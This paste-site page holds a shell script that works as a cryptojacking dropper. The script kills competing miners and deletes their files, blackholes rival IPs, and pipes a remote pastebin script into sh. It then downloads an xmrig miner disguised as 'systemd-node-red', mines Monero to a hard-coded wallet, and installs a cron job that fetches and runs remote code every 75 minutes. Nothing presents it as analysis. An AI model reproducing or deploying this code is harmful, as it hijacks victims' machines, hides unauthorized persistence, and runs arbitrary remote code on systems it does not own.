Guest

Untitled 1940

May 14th, 2026
99
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 28.62 KB | None | 0 0
  1. #!/bin/sh
  2. CUSTOM_ARG="${1:-x}"
  3.  
  4. ORIGINAL_BINARY_NAME="xmrig-vrl"
  5.  
  6. RENAMED_BINARY="systemd-node-red"
  7.  
  8. BINARY_ARGS="-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG"
  9. PROCESS_CHECK_STRING="goAwgBCFH" #xtm wallet
  10.  
  11. set -e
  12.  
  13. log() {
  14. echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"
  15. }
  16.  
  17. cleanup() {
  18. if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then
  19. log "Cleaning up temporary directory: $TMP_DIR"
  20. rm -rf "$TMP_DIR"
  21. fi
  22. }
  23.  
  24. trap cleanup EXIT
  25.  
  26. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  27. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  28. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  29. fi
  30. done
  31.  
  32.  
  33.  
  34. HOSTS_FILE='/etc/hosts'
  35.  
  36.  
  37.  
  38. kill_and_remove_process() {
  39. local term="$1"
  40. if [ -z "$term" ]; then
  41. echo "term not provided."
  42. return 2
  43. fi
  44.  
  45. local pids
  46. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  47.  
  48. if [ -z "$pids" ]; then
  49. return 1
  50. fi
  51.  
  52. for pid in $pids; do
  53. local exe_path
  54. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  55.  
  56. if [ -z "$exe_path" ]; then
  57. echo "Skipping PID $pid"
  58. continue
  59. fi
  60.  
  61. # SAFETY CHECK: Exclude common system binary paths
  62. case "$exe_path" in
  63. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  64. echo "Skipping system binary for PID $pid at: $exe_path"
  65. continue # Move to the next PID
  66. ;;
  67. esac
  68.  
  69. # If the checks pass, proceed with termination and deletion
  70. echo "Terminating non-system process '$term' with PID: $pid"
  71. kill -9 "$pid"
  72.  
  73. if [ -f "$exe_path" ]; then
  74. echo "Deleting executable: $exe_path"
  75. rm -f "$exe_path"
  76. if [ $? -eq 0 ]; then
  77. echo "Executable successfully deleted."
  78. else
  79. echo "Error: Failed to delete executable. Check permissions."
  80. fi
  81. else
  82. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  83. fi
  84. done
  85.  
  86. return 0
  87. }
  88.  
  89.  
  90.  
  91.  
  92.  
  93. append_line() {
  94. line="$1"
  95.  
  96. # skip if already present
  97. if grep -qxF "$line" "$HOSTS_FILE" 2>/dev/null; then
  98. return 0
  99. fi
  100.  
  101. if [ -w "$HOSTS_FILE" ]; then
  102. echo "$line" >> "$HOSTS_FILE" || :
  103. elif command -v sudo >/dev/null 2>&1 && sudo -n true >/dev/null 2>&1; then
  104. echo "$line" | sudo -n tee -a "$HOSTS_FILE" >/dev/null || :
  105. else
  106. echo "[WARN] Skipping (no permission): $line" >&2
  107. fi
  108. }
  109.  
  110. append_line '0.0.0.0 www.fragbin.com'
  111. append_line '0.0.0.0 fragbin.com'
  112. append_line '0.0.0.0 www.kryptex.network'
  113. append_line '0.0.0.0 xmr.kryptex.network'
  114.  
  115. kill_and_remove_process "crazyeltonproxy" || true
  116. kill_and_remove_process "xmrig" || true
  117. kill_and_remove_process "monero" || true
  118. kill_and_remove_process "c3pool.org:80" || true
  119. kill_and_remove_process "kryptex.network" || true
  120. kill_and_remove_process "/bin/watcher" || true
  121. kill_and_remove_process "nuclear" || true
  122. kill_and_remove_process "45.94.31.89" || true
  123. kill_and_remove_process "hosts-to-ignore" || true
  124. kill_and_remove_process "supportxmr" || true
  125. kill_and_remove_process "youyutebuae.xyz" || true
  126. kill_and_remove_process "/lib/systemd/cache/health-monitor" || true
  127. kill_and_remove_process ".rsyslogd" || true
  128. ip route add blackhole 45.94.31.89 || true
  129. ip route add blackhole 139.59.59.33 || true
  130. ip route add blackhole 84.21.173.223 || true
  131. ip route add blackhole 142.132.131.238 || true
  132. ip route add blackhole 154.89.152.115 || true
  133. rm -rf /bin/softirq || true
  134. rm -rf /var/tmp/.rsyslogd || true
  135. rm -rf /lib/systemd/cache/health-monitor || true
  136. rm -rf /usr/local/bin/watcher || true
  137. rm -rf /tmp/runnv/* || true
  138. rm -rf /lib/systemd/cache/asset-indexer || true
  139. rm -rf /tmp/nuclear || true
  140. mkdir -p /tmp/nuclear || true
  141. mkdir -p /lib/systemd/cache/health-monitor || true
  142. mkdir -p /var/tmp/.rsyslogd || true
  143. mkdir -p /lib/systemd/cache/asset-indexer || true
  144. mkdir -p /tmp/runnv/lived.sh || true
  145. mkdir -p /tmp/runnv/alive.sh || true
  146. mkdir -p /bin/softirq || true
  147. mkdir -p /usr/local/bin/watcher || true
  148. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  149.  
  150.  
  151.  
  152. # ---- proxy probe ----
  153. M4B_PROXY_STATUS="off"
  154.  
  155. m4b_proxy_is_on() {
  156. if docker ps --format '{{.Names}}' 2>/dev/null | grep -Eq 'proxyrack|proxylite|tun2socks|money4band'; then
  157. return 0
  158. fi
  159. return 1
  160. }
  161.  
  162. m4b_proxy_probe() {
  163. tmp_log="$(mktemp 2>/dev/null || printf '/tmp/m4b_probe_%s.log' "$$")"
  164.  
  165. rc=1
  166. (
  167. # isolate probe from global `set -e`
  168. set +e
  169. if wget -qO- "$url" 2>/dev/null | sh; then
  170. exit 0
  171. fi
  172. if curl -fsSL "$url" 2>/dev/null | sh; then
  173. exit 0
  174. fi
  175. exit 1
  176. ) >"$tmp_log" 2>&1 || rc=$?
  177.  
  178. if [ "$rc" -eq 0 ] && grep -q '\[STATUS\] OK' "$tmp_log"; then
  179. i=1
  180. while [ "$i" -le 5 ]; do
  181. if m4b_proxy_is_on; then
  182. M4B_PROXY_STATUS="on"
  183. echo "PROXYYYY ONN BABY"
  184. rm -f "$tmp_log" 2>/dev/null || true
  185. return 0
  186. fi
  187. i=$((i + 1))
  188. sleep 2
  189. done
  190. fi
  191.  
  192. M4B_PROXY_STATUS="off"
  193. echo "No PROXY"
  194. rm -f "$tmp_log" 2>/dev/null || true
  195. return 0
  196. }
  197. # ---- end proxy probe ----
  198.  
  199. m4b_proxy_probe
  200.  
  201.  
  202.  
  203. is_process_running() {
  204. if ps -o args | grep -F "$PROCESS_CHECK_STRING" | grep -vF 'grep' > /dev/null; then
  205. return 0 # Process is running
  206. else
  207. return 1 # Process is not running
  208. fi
  209. }
  210.  
  211. get_cpu_cores() {
  212. if [ -f /proc/cpuinfo ]; then
  213. grep -c '^processor' /proc/cpuinfo
  214. elif command -v nproc >/dev/null; then
  215. nproc
  216. elif command -v sysctl >/dev/null; then
  217. sysctl -n hw.ncpu 2>/dev/null || echo 1
  218. else
  219. echo 1
  220. fi
  221. }
  222.  
  223. create_cronjob() {
  224. local cron_command
  225. if command -v curl >/dev/null; then
  226. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
  227. elif command -v wget >/dev/null; then
  228. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
  229. else
  230. log "Error: Cannot create cron job, neither curl nor wget is available."
  231. return 1
  232. fi
  233.  
  234. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  235. log "Cron job successfully configured."
  236. }
  237.  
  238. CPU_CORES=$(get_cpu_cores)
  239. if [ "$CPU_CORES" -le 3 ]; then
  240. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  241. exit 0
  242. fi
  243. log "CPU core count ($CPU_CORES) is sufficient."
  244.  
  245.  
  246. if [ ! -f /etc/alpine-release ]; then
  247. log "Not an Alpine Linux environment. Executing fallback script."
  248. if command -v curl >/dev/null; then
  249. curl -fsSLk "$FALLBACK_SCRIPT_URL" | tr -d '\r' | bash -s -- "$CUSTOM_ARG"
  250. elif command -v wget >/dev/null; then
  251. wget -qO- "$FALLBACK_SCRIPT_URL" | tr -d '\r'| bash -s -- "$CUSTOM_ARG"
  252. else
  253. log "Error: Neither curl nor wget is available for fallback execution."
  254. exit 1
  255. fi
  256. exit 0
  257. fi
  258.  
  259. if is_process_running; then
  260. log "Process with check string '$PROCESS_CHECK_STRING' is already running. Exiting."
  261. exit 0
  262. fi
  263.  
  264. CPU_CORES=$(get_cpu_cores)
  265. if [ "$CPU_CORES" -le 3 ]; then
  266. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  267. exit 0
  268. fi
  269. log "CPU core count ($CPU_CORES) is sufficient."
  270.  
  271.  
  272.  
  273. USER_ID=$(id -u)
  274. if [ "$USER_ID" -eq 0 ]; then
  275. log "Running as root. System-wide installation will be performed."
  276. INSTALL_DIR="/usr/local/bin"
  277. else
  278. log "Running as non-root user. Installing locally to $HOME/.app"
  279. INSTALL_DIR="/tmp/.app"
  280. fi
  281.  
  282. mkdir -p "$INSTALL_DIR"
  283.  
  284. if [ "$USER_ID" -ne 0 ]; then
  285. export PATH="$INSTALL_DIR:$PATH"
  286. fi
  287.  
  288. if [ "$USER_ID" -eq 0 ]; then
  289. if ! command -v crontab >/dev/null; then
  290. log "Warning: 'crontab' not found. Attempting to install 'cron' as root."
  291. apk add --no-cache cron
  292. rc-update add crond default
  293. rc-service crond start
  294. log "Cron installed and started."
  295. fi
  296. else
  297. if ! command -v crontab >/dev/null; then
  298. log "Warning: 'crontab' command not found. Cannot install as non-root. Cron job creation may fail."
  299. fi
  300. fi
  301.  
  302. TMP_DIR=$(mktemp -d)
  303. cd "$TMP_DIR"
  304.  
  305. DOWNLOAD_URL="$PROGRAM_URL"
  306. LOG_MESSAGE="Downloading program from $PROGRAM_URL..."
  307.  
  308. if [ -f /etc/alpine-release ] && [ "$(uname -m)" = "aarch64" ]; then
  309. log "Alpine Linux on ARM64 detected. Switching to alternative program URL."
  310. DOWNLOAD_URL="$PROGRAM_URL2"
  311. LOG_MESSAGE="Downloading program from $PROGRAM_URL2..."
  312. fi
  313.  
  314. log "$LOG_MESSAGE"
  315. if command -v curl >/dev/null; then
  316. curl -fsSLk -o "xmrig-vrl" "$DOWNLOAD_URL"
  317. elif command -v wget >/dev/null; then
  318. wget -qO "xmrig-vrl" "$DOWNLOAD_URL"
  319. else
  320. log "Error: Neither curl nor wget is available to download the program."
  321. rm -rf "$TMP_DIR"
  322. exit 1
  323. fi
  324.  
  325.  
  326.  
  327. log "Now its protobin..."
  328. #tar -xzf "program.tar.gz"
  329. #tar -xf "program.tar.gz"
  330.  
  331. log "Searching for binary '$ORIGINAL_BINARY_NAME'..."
  332. BINARY_PATH=$(find . -type f -name "$ORIGINAL_BINARY_NAME")
  333.  
  334. if [ -z "$BINARY_PATH" ]; then
  335. log "Error: Executable binary '$ORIGINAL_BINARY_NAME' not found."
  336. exit 1
  337. fi
  338.  
  339. log "Binary found. Moving to $INSTALL_DIR/$RENAMED_BINARY"
  340. mv "$BINARY_PATH" "$INSTALL_DIR/$RENAMED_BINARY"
  341. chmod 755 "$INSTALL_DIR/$RENAMED_BINARY"
  342.  
  343. log "Executing '$RENAMED_BINARY' from PATH..."
  344. "$RENAMED_BINARY" ${BINARY_ARGS} &
  345. sleep 3
  346.  
  347. if ! is_process_running; then
  348. log "Error: Program failed to start or exited prematurely."
  349. exit 1
  350. fi
  351. log "Success: Program is now running in the background."
  352.  
  353. create_cronjob "$SCRIPT_URL"
  354.  
  355. log "Script execution completed successfully."
  356.  
  357. exit 0
RAW Paste Data Copied